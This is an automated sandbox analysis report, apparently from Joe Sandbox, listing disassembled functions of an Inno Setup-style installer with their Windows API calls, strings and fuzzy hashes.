Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseOpen
String ID: %s\%s_is1$Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 47109696-1598650737
Opcode ID: 84da8566d4da7bf2860c309c6e1b0154add963e26fcb353dc0ca962f915d6f19
Instruction ID: 5fb648456f3414182566844887dec107b237c51ddb00462cf6d1036a1a3bdd9f
Opcode Fuzzy Hash: 84da8566d4da7bf2860c309c6e1b0154add963e26fcb353dc0ca962f915d6f19
Instruction Fuzzy Hash: 36218475B042485FDB01DFA9CCA17EEBBE8EB48304F91847AE504E7381D77859008B99

Function 004565F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,004566DF,?,?,00000000,0049E624,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00456636
GetLastError.KERNEL32(00000000,00000000,?,00000000,004566DF,?,?,00000000,0049E624,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0045663F

Strings

.tmp, xrefs: 0045661F

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 8bd8b143bc0be6d06ab9d305226f2ef37bbbd59075b051bc0966ce70bcca6570
Instruction ID: 2b83564941d89f6665c5ea987cd5ca5513785e17709c97675c6f57af3c90f87a
Opcode Fuzzy Hash: 8bd8b143bc0be6d06ab9d305226f2ef37bbbd59075b051bc0966ce70bcca6570
Instruction Fuzzy Hash: 81216574A002089BDB01EFA5C8829DFB7BDEB48304F51447BED01B7382DA7C9E458E69

Function 00452F48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,0000044B,00000000,?), ref: 00452FDD
ShellExecuteA.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 0045300E

Strings

open, xrefs: 00453001

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ExecuteMessageSendShell
String ID: open
API String ID: 812272486-2758837156
Opcode ID: c28f2248a8f9e2af1706ae8e1ec0b4f21415a70dd43ffb176411c429374cd650
Instruction ID: 89e72f62ded68212317defe9cf1a1a8849b20e61a908a09f4b6553492ed01183
Opcode Fuzzy Hash: c28f2248a8f9e2af1706ae8e1ec0b4f21415a70dd43ffb176411c429374cd650
Instruction Fuzzy Hash: D3215E70E00304AFDB10DFA5C882B9EBBB8EB44745F2081AAF401E7296D678DE458B58

Function 00457D18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

ShellExecuteEx.SHELL32(0000003C), ref: 00457DB4
GetLastError.KERNEL32(0000003C,00000000,00457DFD,?,?,?), ref: 00457DC5

Part of subcall function 0042D73C: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D74F

Strings

<, xrefs: 00457D6E

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: DirectoryErrorExecuteLastShellSystem
String ID: <
API String ID: 893404051-4251816714
Opcode ID: 57b2cb9870e097700a1c8415df53e88b83e58b0b01e32c34da3a62a0e528c62e
Instruction ID: f31cfddce25d93744ec7d70f49a9b8a286052cd9e5f32317dd40b3873467ac7d
Opcode Fuzzy Hash: 57b2cb9870e097700a1c8415df53e88b83e58b0b01e32c34da3a62a0e528c62e
Instruction Fuzzy Hash: 742153B06042099FDB11EFA5D882AEEBBF8AF44355F50403AF844E7281D7789D59CB98

Function 0040256C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0049E420), ref: 004025AF
RtlLeaveCriticalSection.KERNEL32(0049E420), ref: 00402618

Part of subcall function 004019B4: RtlInitializeCriticalSection.KERNEL32(0049E420), ref: 004019CA
Part of subcall function 004019B4: RtlEnterCriticalSection.KERNEL32(0049E420), ref: 004019DD
Part of subcall function 004019B4: LocalAlloc.KERNEL32(00000000,00000FF8,00000000,00401A6A,?,?,00402216,0049E460,00000000,00000000,?,?,00401C31,00401C46,00401D8A), ref: 00401A07
Part of subcall function 004019B4: RtlLeaveCriticalSection.KERNEL32(0049E420), ref: 00401A64

Strings

), xrefs: 00402596

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: )
API String ID: 2227675388-1084416617
Opcode ID: 889381134dd827edf06be7924f390d0dd0b8978422d0995145cf3027c595e5ed
Instruction ID: a74d662274ddd86ab8394b47aed32221b9cfd681855e8051f5d72abcb3298d59
Opcode Fuzzy Hash: 889381134dd827edf06be7924f390d0dd0b8978422d0995145cf3027c595e5ed
Instruction Fuzzy Hash: 78110131B04210AEEB25EB7A9F1976A6BD5D789358F24047BE401F33D2D5FD9C01921C

Function 00499832 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00010426,00000000,00000000,00000000,00000000,00000000,00000097), ref: 0049986D

Strings

@, xrefs: 00499838
/INITPROCWND=$%x , xrefs: 00499898

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window
String ID: /INITPROCWND=$%x $@
API String ID: 2353593579-4169826103
Opcode ID: 6fa1a6b2c5762b37692ba10fdb14c7239e2ea937b2ad63a020d8c48e81e24394
Instruction ID: e92e5b1417b1959bfc9400bb1a8f17b64bb16ff61ad139dc33b61a62a810f6a3
Opcode Fuzzy Hash: 6fa1a6b2c5762b37692ba10fdb14c7239e2ea937b2ad63a020d8c48e81e24394
Instruction Fuzzy Hash: 0B11A271A182489EDB01EBA9D841BAE7BE8EB59304F50447FE404E7282D77C9D05C759

Function 004471FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00403C70: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CAA
Part of subcall function 00403C70: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CB5

SysFreeString.OLEAUT32(?), ref: 004472AE

Strings

Unknown Method, xrefs: 00447287
NIL Interface Exception, xrefs: 00447250

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: String$AllocByteCharFreeMultiWide
String ID: NIL Interface Exception$Unknown Method
API String ID: 3952431833-1023667238
Opcode ID: 076a83f320bc7a445a048964e8a2f1dbac05fcf7adf80964758c8d07d4bd844f
Instruction ID: 467d5d6b811af872bb085b8d70cc4bd12848eb481adbccc21edef3dff197743b
Opcode Fuzzy Hash: 076a83f320bc7a445a048964e8a2f1dbac05fcf7adf80964758c8d07d4bd844f
Instruction Fuzzy Hash: F011D670604204AFEB04DFA58C81A6EBBACEB49704F51047AF500EB680D7789A008B79

Function 004599B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000B06,00000000,00000000), ref: 004599D2
SendMessageA.USER32(?,00000B00,00000000,00000000), ref: 00459A6F

Strings

Failed to create DebugClientWnd, xrefs: 00459A38

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend
String ID: Failed to create DebugClientWnd
API String ID: 3850602802-3699729907
Opcode ID: 51ca3d9b99d2ea32fc0a47fb851d77c5cec9096a611762b5cf0183d69e65ac2e
Instruction ID: 7dff5a35d58ac115d52149186da597d56c50986940761180838ea1244561337f
Opcode Fuzzy Hash: 51ca3d9b99d2ea32fc0a47fb851d77c5cec9096a611762b5cf0183d69e65ac2e
Instruction Fuzzy Hash: 1D1194B06043509BE710AB698881B5B7B989B54309F04843AFA84DB383D7795C18CBBA

Function 004990C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,0049918C,?,00499180,00000000,00499167), ref: 00499132
CloseHandle.KERNEL32(004991CC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,0049918C,?,00499180,00000000), ref: 00499149

Part of subcall function 0049901C: GetLastError.KERNEL32(00000000,004990B4,?,?,?,?), ref: 00499040

Strings

D, xrefs: 0049910C

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseCreateErrorHandleLastProcess
String ID: D
API String ID: 3798668922-2746444292
Opcode ID: 4e1f4646a0876cdd67a1c37f021054a90973b8aa06db2cc332d688111aff0407
Instruction ID: 325316d0b022f621ebfd4d877ce901c8f43b33a9313070810c480d8c9411cb35
Opcode Fuzzy Hash: 4e1f4646a0876cdd67a1c37f021054a90973b8aa06db2cc332d688111aff0407
Instruction Fuzzy Hash: FC0152B0604208AFEB00DF96CC47FAF7BACEB48714F50003AF504E7281D6785E00966C

Function 0042DB38 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,Inno Setup: No Icons,00000000,00000000,00000000,00000000), ref: 0042DB4C
RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,Inno Setup: No Icons,00000000,00000000,00000000), ref: 0042DB8C

Strings

Inno Setup: No Icons, xrefs: 0042DB4A

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Value$EnumQuery
String ID: Inno Setup: No Icons
API String ID: 1576479698-2016326496
Opcode ID: 3a8993707cb83c5ea377ebdba10ebe85336394e852e0a897f5d2491d3efd93bf
Instruction ID: 9b865e717f93fba42483ace69789bdba71c81c22d8f0a9db0fa729fbc16da74c
Opcode Fuzzy Hash: 3a8993707cb83c5ea377ebdba10ebe85336394e852e0a897f5d2491d3efd93bf
Instruction Fuzzy Hash: 6E012B32F8933069F73055116C65B7B5F8CCB82B60F66003BF980AA2C0E658BC04426E

Function 0042EA48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0042D73C: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D74F

Part of subcall function 0042E168: SetErrorMode.KERNEL32(00008000), ref: 0042E172
Part of subcall function 0042E168: LoadLibraryA.KERNEL32(00000000,00000000,0042E1BC,?,00000000,0042E1DA,?,00008000), ref: 0042E1A1

GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0042EAB8

Strings

shlwapi.dll, xrefs: 0042EA83
SHAutoComplete, xrefs: 0042EAB2

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressDirectoryErrorLibraryLoadModeProcSystem
String ID: SHAutoComplete$shlwapi.dll
API String ID: 2552568031-1506664499
Opcode ID: cca548d12525e0c1e2af993543aa2302d07244e53f5601d21e979457c90cea55
Instruction ID: 775ff014ed7e2519fbc005b4f1e41c8aa94cb6ba83a151b8f3cfe87bb3e0af9c
Opcode Fuzzy Hash: cca548d12525e0c1e2af993543aa2302d07244e53f5601d21e979457c90cea55
Instruction Fuzzy Hash: E5115430700614AAD711DBA7DC41B5E7BA8EB55704FD04477F40066691DBB99E05CB28

Function 0044C098 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000010), ref: 0044C0BA
GetKeyState.USER32(00000011), ref: 0044C0CC

Strings

, xrefs: 0044C0DC

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-3916222277
Opcode ID: b568b351c350b4a25277bf10210126d3de38333c579b4f340bd3cda84e27cf8a
Instruction ID: 766f284bf1106f560eac90d38fe414cbcad43969267dff38692d1545203d9afc
Opcode Fuzzy Hash: b568b351c350b4a25277bf10210126d3de38333c579b4f340bd3cda84e27cf8a
Instruction Fuzzy Hash: D3019631A06308DBEB50DBE9D4863DEB3F1AF04318F58C1AADC58A7282E7784E40D754

Function 00455A54 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(00000000,?,00000000,00455AB5,?,?,-00000001,?), ref: 00455A8F
GetLastError.KERNEL32(00000000,?,00000000,00455AB5,?,?,-00000001,?), ref: 00455A97

Strings

L>H, xrefs: 00455AC5

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: L>H
API String ID: 1799206407-3204677481
Opcode ID: fea2b599ceb8e14d509f16361dc3277c33e3abcad900ffbd5b16d67e8e0a5c8f
Instruction ID: 2cd6ad33f7c07c9900200ac9cf1eddd6bfc21a10b06f95dd77271743303b96a0
Opcode Fuzzy Hash: fea2b599ceb8e14d509f16361dc3277c33e3abcad900ffbd5b16d67e8e0a5c8f
Instruction Fuzzy Hash: 3CF02D31B04A04BBC700DFBAAC514AEF7ECDB4932575046BBFC04D3242E6795E044998

Function 004554D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000,00000000,00455531,?,-00000001,?), ref: 0045550B
GetLastError.KERNEL32(00000000,00000000,00455531,?,-00000001,?), ref: 00455513

Strings

L>H, xrefs: 00455541

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID: L>H
API String ID: 2018770650-3204677481
Opcode ID: 59f3738ed80b379ad6d499b04336b5596c626ef06f9eecd39963fff603334a5f
Instruction ID: 203c7919cf284108b634e9b2c0228ba47b4c8bb596ffcc02a4c4fffe93b65780
Opcode Fuzzy Hash: 59f3738ed80b379ad6d499b04336b5596c626ef06f9eecd39963fff603334a5f
Instruction Fuzzy Hash: B1F02831A04A08EB8B00DFB9AC514AEB7E8DB4831579149B7FC04E3242F6385E044658

Function 004559DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

RemoveDirectoryA.KERNEL32(00000000,00000000,00455A39,?,-00000001,00000000), ref: 00455A13
GetLastError.KERNEL32(00000000,00000000,00455A39,?,-00000001,00000000), ref: 00455A1B

Strings

L>H, xrefs: 00455A49

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID: L>H
API String ID: 377330604-3204677481
Opcode ID: 4ae24dc21e6c47b5581cfd692fd99237dad64349208f8e68c01c9d34938cc670
Instruction ID: e5bec4aea669a8671b32211ec67020920829b043d6725eeb69cb47ea7e93bf4b
Opcode Fuzzy Hash: 4ae24dc21e6c47b5581cfd692fd99237dad64349208f8e68c01c9d34938cc670
Instruction Fuzzy Hash: 74F02871A00B08EF8B00DFF59C914AEB7E8EB4831475046B7FC04E3642E6385E144998

Function 0045BFF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DBF0: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,WSH,?,00000001,?,?,00485357,?,00000001,00000000), ref: 0042DC0C

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,0045C131,00000000,0045C2E9,?,00000000,00000000,00000000), ref: 0045C045

Strings

InstallRoot, xrefs: 0045C034
SOFTWARE\Microsoft\.NETFramework, xrefs: 0045C018

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseOpen
String ID: InstallRoot$SOFTWARE\Microsoft\.NETFramework
API String ID: 47109696-2121887819
Opcode ID: cc44928c1f4e70861b893ad0922f30d9c741940da07d788401919b0a4c63dcc7
Instruction ID: 1b71fec5620dc7b1ba3c6e12f695224e2fe79164c691658f15746a086ba3687e
Opcode Fuzzy Hash: cc44928c1f4e70861b893ad0922f30d9c741940da07d788401919b0a4c63dcc7
Instruction Fuzzy Hash: EEF0A4317002549FCB20AB99D891B1F2689CB95756F64403BBA84CB293D6BDDC0A875A

Function 0047E5EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,0047E872,00000000,0047E888,?,?,?,?,00000000), ref: 0047E64E

Strings

RegisteredOrganization, xrefs: 0047E63D
RegisteredOwner, xrefs: 0047E62B

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Close
String ID: RegisteredOrganization$RegisteredOwner
API String ID: 3535843008-1113070880
Opcode ID: f10ed06e3512ea2d9eb104129d5d873062085bcfb9dc0142402e62067d794f26
Instruction ID: 7c72605ed78d5f27ef67973bb0a9a662943a27bee45752183e2a38a4152049f4
Opcode Fuzzy Hash: f10ed06e3512ea2d9eb104129d5d873062085bcfb9dc0142402e62067d794f26
Instruction Fuzzy Hash: DAF02B30B04144AFE704DAA6EC66B9B3758C766304FA0917BA508DB351DABCED00C74C

Function 0049ACA8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0047F004: FreeLibrary.KERNEL32(?,00483352), ref: 0047F01A

Part of subcall function 0047ED00: GetTickCount.KERNEL32 ref: 0047ED48

Part of subcall function 00459AE0: SendMessageA.USER32(?,00000B01,00000000,00000000), ref: 00459AFF

GetCurrentProcess.KERNEL32(00000001,?,?,?,?,0049B5F3), ref: 0049ACFD
TerminateProcess.KERNEL32(00000000,00000001,?,?,?,?,0049B5F3), ref: 0049AD03

Strings

Detected restart. Removing temporary directory., xrefs: 0049ACB7

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Process$CountCurrentFreeLibraryMessageSendTerminateTick
String ID: Detected restart. Removing temporary directory.
API String ID: 1717587489-3199836293
Opcode ID: 6f8116ed538183f1bd458c1f5eccbb20b65ae4eac004bc7b533d512a1c3a14c7
Instruction ID: 35f6dbc796007a279d19bce4ec101de534fd8d884c3c07dbd1d4b26c177a81b1
Opcode Fuzzy Hash: 6f8116ed538183f1bd458c1f5eccbb20b65ae4eac004bc7b533d512a1c3a14c7
Instruction Fuzzy Hash: 60E0E5322086502FDA0177B6BC0795B3F4CD74675C761493BF80885542D52C4824C6BE

Function 00477A40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,00477C77), ref: 00477A65
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,00477C77), ref: 00477A7C

Part of subcall function 00456068: GetLastError.KERNEL32(00000000,00456AD9,00000005,00000000,00456B0E,?,?,00000000,0049E624,00000004,00000000,00000000,00000000,?,0049B049,00000000), ref: 0045606B

Strings

CreateFile, xrefs: 00477A71

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast
String ID: CreateFile
API String ID: 2528220319-823142352
Opcode ID: e5935c8be26be6d6e0331835fd534bdb5718c0430b3be90381c87f010860b87c
Instruction ID: 69d4bcf48c39bd80af0d1361a1f248fbef583a490308ced882acad7dd3d1511b
